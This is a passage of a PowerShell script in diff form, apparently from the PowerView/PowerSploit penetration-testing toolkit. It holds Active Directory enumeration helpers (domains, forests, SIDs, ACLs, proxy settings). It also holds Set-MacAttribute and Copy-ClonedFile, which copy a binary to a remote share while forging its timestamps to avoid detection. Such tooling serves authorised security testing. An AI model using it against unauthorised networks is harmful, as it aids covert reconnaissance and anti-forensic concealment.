[String] + $FullName, + + [Parameter(Position = 3, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $StructFields, + + [Reflection.Emit.PackingSize] + $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, + + [Switch] + $ExplicitLayout + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, + Class, + Public, + Sealed, + BeforeFieldInit' + + if ($ExplicitLayout) + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout + } + else + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout + } + + $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) + $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + + $Fields = New-Object Hashtable[]($StructFields.Count) + + # Sort each field according to the orders specified + # Unfortunately, PSv2 doesn't have the luxury of the + # hashtable [Ordered] accelerator. + ForEach ($Field in $StructFields.Keys) + { + $Index = $StructFields[$Field]['Position'] + $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} + } + + ForEach ($Field in $Fields) + { + $FieldName = $Field['FieldName'] + $FieldProp = $Field['Properties'] + + $Offset = $FieldProp['Offset'] + $Type = $FieldProp['Type'] + $MarshalAs = $FieldProp['MarshalAs'] + + $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') + + if ($MarshalAs) + { + $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) + if ($MarshalAs[1]) + { + $Size = $MarshalAs[1] + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, + $UnmanagedType, $SizeConst, @($Size)) + } + else + { + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) + } + + $NewField.SetCustomAttribute($AttribBuilder) + } + + if ($ExplicitLayout) { $NewField.SetOffset($Offset) } + } + + # Make the struct aware of its own size. + # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! + $SizeMethod = $StructBuilder.DefineMethod('GetSize', + 'Public, Static', + [Int], + [Type[]] @()) + $ILGenerator = $SizeMethod.GetILGenerator() + # Thanks for the help, Jason Shirk! + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) + + # Allow for explicit casting from an IntPtr + # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! + $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', + 'PrivateScope, Public, Static, HideBySig, SpecialName', + $StructBuilder, + [Type[]] @([IntPtr])) + $ILGenerator2 = $ImplicitConverter.GetILGenerator() + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) + + $StructBuilder.CreateType() +} + + +######################################################## +# +# Misc. helpers +# +######################################################## + +function Export-PowerViewCSV { +<# + .SYNOPSIS + + This function exports to a .csv in a thread-safe manner. + + Based partially on Dmitry Sotnikov's Export-CSV code + at http://poshcode.org/1590 + + .LINK + + http://poshcode.org/1590 + http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/ +#> + Param( + [Parameter(Mandatory=$True, ValueFromPipeline=$True, + ValueFromPipelineByPropertyName=$True)] + [System.Management.Automation.PSObject] + $InputObject, + + [Parameter(Mandatory=$True, Position=0)] + [Alias('PSPath')] + [String] + $OutFile + ) + + process { + + $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation + + # mutex so threaded code doesn't stomp on the output file + $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'; + $Null = $Mutex.WaitOne() + + if (Test-Path -Path $OutFile) { + # hack to skip the first line of output if the file already exists + $ObjectCSV | Foreach-Object {$Start=$True}{if ($Start) {$Start=$False} else {$_}} | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile + } + else { + $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile + } + + $Mutex.ReleaseMutex() + } +} + + +# stolen directly from http://obscuresecurity.blogspot.com/2014/05/touch.html +function Set-MacAttribute { +<# + .SYNOPSIS + + Sets the modified, accessed and created (Mac) attributes for a file based on another file or input. + + PowerSploit Function: Set-MacAttribute + Author: Chris Campbell (@obscuresec) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 1.0.0 + + .DESCRIPTION + + Set-MacAttribute sets one or more Mac attributes and returns the new attribute values of the file. + + .EXAMPLE + + PS C:\> Set-MacAttribute -FilePath c:\test\newfile -OldFilePath c:\test\oldfile + + .EXAMPLE + + PS C:\> Set-MacAttribute -FilePath c:\demo\test.xt -All "01/03/2006 12:12 pm" + + .EXAMPLE + + PS C:\> Set-MacAttribute -FilePath c:\demo\test.txt -Modified "01/03/2006 12:12 pm" -Accessed "01/03/2006 12:11 pm" -Created "01/03/2006 12:10 pm" + + .LINK + + http://www.obscuresec.com/2014/05/touch.html +#> + [CmdletBinding(DefaultParameterSetName = 'Touch')] + Param ( + + [Parameter(Position = 1,Mandatory = $True)] + [ValidateScript({Test-Path -Path $_ })] + [String] + $FilePath, + + [Parameter(ParameterSetName = 'Touch')] + [ValidateScript({Test-Path -Path $_ })] + [String] + $OldFilePath, + + [Parameter(ParameterSetName = 'Individual')] + [DateTime] + $Modified, + + [Parameter(ParameterSetName = 'Individual')] + [DateTime] + $Accessed, + + [Parameter(ParameterSetName = 'Individual')] + [DateTime] + $Created, + + [Parameter(ParameterSetName = 'All')] + [DateTime] + $AllMacAttributes + ) + + #Helper function that returns an object with the MAC attributes of a file. + function Get-MacAttribute { + + param($OldFileName) + + if (!(Test-Path -Path $OldFileName)) {Throw 'File Not Found'} + $FileInfoObject = (Get-Item $OldFileName) + + $ObjectProperties = @{'Modified' = ($FileInfoObject.LastWriteTime); + 'Accessed' = ($FileInfoObject.LastAccessTime); + 'Created' = ($FileInfoObject.CreationTime)}; + $ResultObject = New-Object -TypeName PSObject -Property $ObjectProperties + Return $ResultObject + } + + $FileInfoObject = (Get-Item -Path $FilePath) + + if ($PSBoundParameters['AllMacAttributes']) { + $Modified = $AllMacAttributes + $Accessed = $AllMacAttributes + $Created = $AllMacAttributes + } + + if ($PSBoundParameters['OldFilePath']) { + $CopyFileMac = (Get-MacAttribute $OldFilePath) + $Modified = $CopyFileMac.Modified + $Accessed = $CopyFileMac.Accessed + $Created = $CopyFileMac.Created + } + + if ($Modified) {$FileInfoObject.LastWriteTime = $Modified} + if ($Accessed) {$FileInfoObject.LastAccessTime = $Accessed} + if ($Created) {$FileInfoObject.CreationTime = $Created} + + Return (Get-MacAttribute $FilePath) +} + + +function Copy-ClonedFile { +<# + .SYNOPSIS + + Copy a source file to a destination location, matching any MAC + properties as appropriate. + + .PARAMETER SourceFile + + Source file to copy. + + .PARAMETER DestFile + + Destination file path to copy file to. + + .EXAMPLE + + PS C:\> Copy-ClonedFile -SourceFile program.exe -DestFile \\WINDOWS7\tools\program.exe + + Copy the local program.exe binary to a remote location, matching the MAC properties of the remote exe. + + .LINK + + http://obscuresecurity.blogspot.com/2014/05/touch.html +#> + + param( + [Parameter(Mandatory = $True)] + [String] + [ValidateNotNullOrEmpty()] + $SourceFile, + + [Parameter(Mandatory = $True)] + [String] + [ValidateNotNullOrEmpty()] + $DestFile + ) + + # clone the MAC properties + Set-MacAttribute -FilePath $SourceFile -OldFilePath $DestFile + + # copy the file off + Copy-Item -Path $SourceFile -Destination $DestFile +} + + +function Get-IPAddress { +<# + .SYNOPSIS + + This function resolves a given hostename to its associated IPv4 + address. If no hostname is provided, it defaults to returning + the IP address of the local host the script be being run on. + + .EXAMPLE + + PS C:\> Get-IPAddress -ComputerName SERVER + + Return the IPv4 address of 'SERVER' +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = '' + ) + process { + try { + # get the IP resolution of this specified hostname + $Results = @(([Net.Dns]::GetHostEntry($ComputerName)).AddressList) + + if ($Results.Count -ne 0) { + ForEach ($Result in $Results) { + # make sure the returned result is IPv4 + if ($Result.AddressFamily -eq 'InterNetwork') { + $Result.IPAddressToString + } + } + } + } + catch { + Write-Verbose -Message 'Could not resolve host to an IP Address.' + } + } + end {} +} + + +function Convert-NameToSid { +<# + .SYNOPSIS + + Converts a given user/group name to a security identifier (SID). + + .PARAMETER ObjectName + + The user/group name to convert, can be 'user' or 'DOMAIN\user' format. + + .PARAMETER Domain + + Specific domain for the given user account, defaults to the current domain. + + .EXAMPLE + + PS C:\> Convert-NameToSid 'DEV\dfm' +#> + [CmdletBinding()] + param( + [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [String] + [Alias('Name')] + $ObjectName, + + [String] + $Domain = (Get-NetDomain).Name + ) + + process { + + $ObjectName = $ObjectName -replace "/","\" + + if($ObjectName.contains("\")) { + # if we get a DOMAIN\user format, auto convert it + $Domain = $ObjectName.split("\")[0] + $ObjectName = $ObjectName.split("\")[1] + } + + try { + $Obj = (New-Object System.Security.Principal.NTAccount($Domain,$ObjectName)) + $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value + } + catch { + Write-Verbose "Invalid object/name: $Domain\$ObjectName" + $Null + } + } +} + + +function Convert-SidToName { +<# + .SYNOPSIS + + Converts a security identifier (SID) to a group/user name. + + .PARAMETER SID + + The SID to convert. + + .EXAMPLE + + PS C:\> Convert-SidToName S-1-5-21-2620891829-2411261497-1773853088-1105 +#> + [CmdletBinding()] + param( + [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [String] + $SID + ) + + process { + try { + $SID2 = $SID.trim('*') + + # try to resolve any built-in SIDs first + # from https://support.microsoft.com/en-us/kb/243330 + Switch ($SID2) + { + 'S-1-0' { 'Null Authority' } + 'S-1-0-0' { 'Nobody' } + 'S-1-1' { 'World Authority' } + 'S-1-1-0' { 'Everyone' } + 'S-1-2' { 'Local Authority' } + 'S-1-2-0' { 'Local' } + 'S-1-2-1' { 'Console Logon ' } + 'S-1-3' { 'Creator Authority' } + 'S-1-3-0' { 'Creator Owner' } + 'S-1-3-1' { 'Creator Group' } + 'S-1-3-2' { 'Creator Owner Server' } + 'S-1-3-3' { 'Creator Group Server' } + 'S-1-3-4' { 'Owner Rights' } + 'S-1-4' { 'Non-unique Authority' } + 'S-1-5' { 'NT Authority' } + 'S-1-5-1' { 'Dialup' } + 'S-1-5-2' { 'Network' } + 'S-1-5-3' { 'Batch' } + 'S-1-5-4' { 'Interactive' } + 'S-1-5-6' { 'Service' } + 'S-1-5-7' { 'Anonymous' } + 'S-1-5-8' { 'Proxy' } + 'S-1-5-9' { 'Enterprise Domain Controllers' } + 'S-1-5-10' { 'Principal Self' } + 'S-1-5-11' { 'Authenticated Users' } + 'S-1-5-12' { 'Restricted Code' } + 'S-1-5-13' { 'Terminal Server Users' } + 'S-1-5-14' { 'Remote Interactive Logon' } + 'S-1-5-15' { 'This Organization ' } + 'S-1-5-17' { 'This Organization ' } + 'S-1-5-18' { 'Local System' } + 'S-1-5-19' { 'NT Authority' } + 'S-1-5-20' { 'NT Authority' } + 'S-1-5-80-0' { 'All Services ' } + 'S-1-5-32-544' { 'BUILTIN\Administrators' } + 'S-1-5-32-545' { 'BUILTIN\Users' } + 'S-1-5-32-546' { 'BUILTIN\Guests' } + 'S-1-5-32-547' { 'BUILTIN\Power Users' } + 'S-1-5-32-548' { 'BUILTIN\Account Operators' } + 'S-1-5-32-549' { 'BUILTIN\Server Operators' } + 'S-1-5-32-550' { 'BUILTIN\Print Operators' } + 'S-1-5-32-551' { 'BUILTIN\Backup Operators' } + 'S-1-5-32-552' { 'BUILTIN\Replicators' } + 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } + 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } + 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } + 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } + 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } + 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } + 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } + 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } + 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } + 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } + 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } + 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } + 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } + 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } + 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } + 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } + 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } + 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } + Default { + $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2)) + $Obj.Translate( [System.Security.Principal.NTAccount]).Value + } + } + } + catch { + # Write-Warning "Invalid SID: $SID" + $SID + } + } +} + + +function Convert-NT4toCanonical { +<# + .SYNOPSIS + + Converts a user/group NT4 name (i.e. dev/john) to canonical format. + + Based on Bill Stewart's code from this article: + http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats + + .PARAMETER ObjectName + + The user/group name to convert, needs to be in 'DOMAIN\user' format. + + .EXAMPLE + + PS C:\> Convert-NT4toCanonical -ObjectName "dev\dfm" + + Returns "dev.testlab.local/Users/Dave" + + .LINK + + http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +#> + [CmdletBinding()] + param( + [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [String] + $ObjectName + ) + + process { + + $ObjectName = $ObjectName -replace "/","\" + + if($ObjectName.contains("\")) { + # if we get a DOMAIN\user format, try to extract the domain + $Domain = $ObjectName.split("\")[0] + } + + # Accessor functions to simplify calls to NameTranslate + function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { + $Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters) + if ( $Output ) { $Output } + } + function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { + [Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters) + } + + $Translate = New-Object -ComObject NameTranslate + + try { + Invoke-Method $Translate "Init" (1, $Domain) + } + catch [System.Management.Automation.MethodInvocationException] { + Write-Debug "Error with translate init in Convert-NT4toCanonical: $_" + } + + Set-Property $Translate "ChaseReferral" (0x60) + + try { + Invoke-Method $Translate "Set" (3, $ObjectName) + (Invoke-Method $Translate "Get" (2)) + } + catch [System.Management.Automation.MethodInvocationException] { + Write-Debug "Error with translate Set/Get in Convert-NT4toCanonical: $_" + } + } +} + + +function Convert-CanonicaltoNT4 { +<# + .SYNOPSIS + + Converts a user@fqdn to NT4 format. + + .PARAMETER ObjectName + + The user/group name to convert, needs to be in 'DOMAIN\user' format. + + .LINK + + http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +#> + + [CmdletBinding()] + param( + [String] $ObjectName + ) + + $Domain = ($ObjectName -split "@")[1] + + $ObjectName = $ObjectName -replace "/","\" + + # Accessor functions to simplify calls to NameTranslate + function Invoke-Method([__ComObject] $object, [String] $method, $parameters) { + $output = $object.GetType().InvokeMember($method, "InvokeMethod", $NULL, $object, $parameters) + if ( $output ) { $output } + } + function Set-Property([__ComObject] $object, [String] $property, $parameters) { + [Void] $object.GetType().InvokeMember($property, "SetProperty", $NULL, $object, $parameters) + } + + $Translate = New-Object -comobject NameTranslate + + try { + Invoke-Method $Translate "Init" (1, $Domain) + } + catch [System.Management.Automation.MethodInvocationException] { } + + Set-Property $Translate "ChaseReferral" (0x60) + + try { + Invoke-Method $Translate "Set" (5, $ObjectName) + (Invoke-Method $Translate "Get" (3)) + } + catch [System.Management.Automation.MethodInvocationException] { $_ } +} + + +function Get-Proxy { +<# + .SYNOPSIS + + Enumerates the proxy server and WPAD conents for the current user. + + .PARAMETER ComputerName + + The computername to enumerate proxy settings on, defaults to local host. + + .EXAMPLE + + PS C:\> Get-Proxy + + Returns the current proxy settings. +#> + param( + [Parameter(ValueFromPipeline=$True)] + [ValidateNotNullOrEmpty()] + [String] + $ComputerName = $ENV:COMPUTERNAME + ) + + process { + try { + $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName) + $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings") + $ProxyServer = $RegKey.GetValue('ProxyServer') + $AutoConfigURL = $RegKey.GetValue('AutoConfigURL') + + if($AutoConfigURL -and ($AutoConfigURL -ne "")) { + try { + $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL) + } + catch { + $Wpad = "" + } + } + else { + $Wpad = "" + } + + if($ProxyServer -or $AutoConfigUrl) { + + $Properties = @{ + 'ProxyServer' = $ProxyServer + 'AutoConfigURL' = $AutoConfigURL + 'Wpad' = $Wpad + } + + New-Object -TypeName PSObject -Property $Properties + } + else { + Write-Warning "No proxy settings found for $ComputerName" + } + } + catch { + Write-Warning "Error enumerating proxy settings for $ComputerName" + } + } +} + + +function Get-PathAcl { + + [CmdletBinding()] + param( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [string] + $Path, + + [Switch] + $Recurse + ) + + begin { + + function Convert-FileRight { + + # From http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights + + [CmdletBinding()] + param( + [Int] + $FSR + ) + + $AccessMask = @{ + [uint32]'0x80000000' = 'GenericRead' + [uint32]'0x40000000' = 'GenericWrite' + [uint32]'0x20000000' = 'GenericExecute' + [uint32]'0x10000000' = 'GenericAll' + [uint32]'0x02000000' = 'MaximumAllowed' + [uint32]'0x01000000' = 'AccessSystemSecurity' + [uint32]'0x00100000' = 'Synchronize' + [uint32]'0x00080000' = 'WriteOwner' + [uint32]'0x00040000' = 'WriteDAC' + [uint32]'0x00020000' = 'ReadControl' + [uint32]'0x00010000' = 'Delete' + [uint32]'0x00000100' = 'WriteAttributes' + [uint32]'0x00000080' = 'ReadAttributes' + [uint32]'0x00000040' = 'DeleteChild' + [uint32]'0x00000020' = 'Execute/Traverse' + [uint32]'0x00000010' = 'WriteExtendedAttributes' + [uint32]'0x00000008' = 'ReadExtendedAttributes' + [uint32]'0x00000004' = 'AppendData/AddSubdirectory' + [uint32]'0x00000002' = 'WriteData/AddFile' + [uint32]'0x00000001' = 'ReadData/ListDirectory' + } + + $SimplePermissions = @{ + [uint32]'0x1f01ff' = 'FullControl' + [uint32]'0x0301bf' = 'Modify' + [uint32]'0x0200a9' = 'ReadAndExecute' + [uint32]'0x02019f' = 'ReadAndWrite' + [uint32]'0x020089' = 'Read' + [uint32]'0x000116' = 'Write' + } + + $Permissions = @() + + # get simple permission + $Permissions += $SimplePermissions.Keys | % { + if (($FSR -band $_) -eq $_) { + $SimplePermissions[$_] + $FSR = $FSR -band (-not $_) + } + } + + # get remaining extended permissions + $Permissions += $AccessMask.Keys | + ? { $FSR -band $_ } | + % { $AccessMask[$_] } + + ($Permissions | ?{$_}) -join "," + } + } + + process { + + try { + $ACL = Get-Acl -Path $Path + + $ACL.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) | ForEach-Object { + + $Names = @() + if ($_.IdentityReference -match '^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+') { + $Object = Get-ADObject -SID $_.IdentityReference + $Names = @() + $SIDs = @($Object.objectsid) + + if ($Recurse -and ($Object.samAccountType -eq "268435456")) { + $SIDs += Get-NetGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid + } + + $SIDs | ForEach-Object { + $Names += ,@($_, (Convert-SidToName $_)) + } + } + else { + $Names += ,@($_.IdentityReference.Value, (Convert-SidToName $_.IdentityReference.Value)) + } + + ForEach($Name in $Names) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'Path' $Path + $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__) + $Out | Add-Member Noteproperty 'IdentityReference' $Name[1] + $Out | Add-Member Noteproperty 'IdentitySID' $Name[0] + $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType + $Out + } + } + } + catch { + Write-Warning $_ + } + } +} + + +function Get-NameField { + # function that attempts to extract the appropriate field name + # from various passed objects. This is so functions can have + # multiple types of objects passed on the pipeline. + [CmdletBinding()] + param( + [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + $Object + ) + process { + if($Object) { + if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) { + # objects from Get-NetComputer + $Object.dnshostname + } + elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) { + # objects from Get-NetDomainController + $Object.name + } + else { + # strings and catch alls + $Object + } + } + else { + return $Null + } + } +} + + +function Convert-LDAPProperty { + # helper to convert specific LDAP property result fields + param( + [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [ValidateNotNullOrEmpty()] + $Properties + ) + + $ObjectProperties = @{} + + $Properties.PropertyNames | ForEach-Object { + if (($_ -eq "objectsid") -or ($_ -eq "sidhistory")) { + # convert the SID to a string + $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0],0)).Value + } + elseif($_ -eq "objectguid") { + # convert the GUID to a string + $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid + } + elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") -or ($_ -eq "lastlogoff") -or ($_ -eq "badPasswordTime") ) { + # convert timestamps + if ($Properties[$_][0] -is [System.MarshalByRefObject]) { + # if we have a System.__ComObject + $Temp = $Properties[$_][0] + [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) + } + else { + $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) + } + } + elseif($Properties[$_][0] -is [System.MarshalByRefObject]) { + # convert misc com objects + $Prop = $Properties[$_] + try { + $Temp = $Prop[$_][0] + Write-Verbose $_ + [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) + } + catch { + $ObjectProperties[$_] = $Prop[$_] + } + } + elseif($Properties[$_].count -eq 1) { + $ObjectProperties[$_] = $Properties[$_][0] + } + else { + $ObjectProperties[$_] = $Properties[$_] + } + } + + New-Object -TypeName PSObject -Property $ObjectProperties +} + + + +######################################################## +# +# Domain info functions below. +# +######################################################## + +function Get-DomainSearcher { +<# + .SYNOPSIS + + Helper used by various functions that takes an ADSpath and + domain specifier and builds the correct ADSI searcher object. + + .PARAMETER Domain + + The domain to use for the query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ADSprefix + + Prefix to set for the searcher (like "CN=Sites,CN=Configuration") + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-DomainSearcher -Domain testlab.local + + .EXAMPLE + + PS C:\> Get-DomainSearcher -Domain testlab.local -DomainController SECONDARY.dev.testlab.local +#> + + [CmdletBinding()] + param( + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [String] + $ADSprefix, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + if(!$Domain) { + $Domain = (Get-NetDomain).name + } + else { + if(!$DomainController) { + try { + # if there's no -DomainController specified, try to pull the primary DC + # to reflect queries through + $DomainController = ((Get-NetDomain).PdcRoleOwner).Name + } + catch { + throw "Get-DomainSearcher: Error in retrieving PDC for current domain" + } + } + } + + $SearchString = "LDAP://" + + if($DomainController) { + $SearchString += $DomainController + "/" + } + if($ADSprefix) { + $SearchString += $ADSprefix + "," + } + + if($ADSpath) { + if($ADSpath -like "GC://*") { + # if we're searching the global catalog + $DistinguishedName = $AdsPath + $SearchString = "" + } + else { + if($ADSpath -like "LDAP://*") { + $ADSpath = $ADSpath.Substring(7) + } + $DistinguishedName = $ADSpath + } + } + else { + $DistinguishedName = "DC=$($Domain.Replace('.', ',DC='))" + } + + $SearchString += $DistinguishedName + Write-Verbose "Get-DomainSearcher search string: $SearchString" + + $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) + $Searcher.PageSize = $PageSize + $Searcher +} + + +function Get-NetDomain { +<# + .SYNOPSIS + + Returns a given domain object. + + .PARAMETER Domain + + The domain name to query for, defaults to the current domain. + + .EXAMPLE + + PS C:\> Get-NetDomain -Domain testlab.local + + .LINK + + http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Domain + ) + + process { + if($Domain) { + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." + $Null + } + } + else { + [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + } +} + + +function Get-NetForest { +<# + .SYNOPSIS + + Returns a given forest object. + + .PARAMETER Forest + + The forest name to query for, defaults to the current domain. + + .EXAMPLE + + PS C:\> Get-NetForest -Forest external.domain +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Forest + ) + + process { + if($Forest) { + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + } + catch { + Write-Warning "The specified forest $Forest does not exist, could not be contacted, or there isn't an existing trust." + $Null + } + } + else { + # otherwise use the current forest + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + } + + if($ForestObject) { + # get the SID of the forest root + $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value + $Parts = $ForestSid -Split "-" + $ForestSid = $Parts[0..$($Parts.length-2)] -join "-" + $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid + $ForestObject + } + } +} + + +function Get-NetForestDomain { +<# + .SYNOPSIS + + Return all domains for a given forest. + + .PARAMETER Forest + + The forest name to query domain for. + + .PARAMETER Domain + + Return domains that match this term/wildcard. + + .EXAMPLE + + PS C:\> Get-NetForestDomain + + .EXAMPLE + + PS C:\> Get-NetForestDomain -Forest external.local +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Forest, + + [String] + $Domain + ) + + process { + if($Domain) { + # try to detect a wild card so we use -like + if($Domain.Contains('*')) { + (Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name -like $Domain} + } + else { + # match the exact domain name if there's not a wildcard + (Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name.ToLower() -eq $Domain.ToLower()} + } + } + else { + # return all domains + $ForestObject = Get-NetForest -Forest $Forest + if($ForestObject) { + $ForestObject.Domains + } + } + } +} + + +function Get-NetForestCatalog { +<# + .SYNOPSIS + + Return all global catalogs for a given forest. + + .PARAMETER Forest + + The forest name to query domain for. + + .EXAMPLE + + PS C:\> Get-NetForestCatalog +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Forest + ) + + process { + $ForestObject = Get-NetForest -Forest $Forest + if($ForestObject) { + $ForestObject.FindAllGlobalCatalogs() + } + } +} + + +function Get-NetDomainController { +<# + .SYNOPSIS + + Return the current domain controllers for the active domain. + + .PARAMETER Domain + + The domain to query for domain controllers, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER LDAP + + Switch. Use LDAP queries to determine the domain controllers. + + .EXAMPLE + + PS C:\> 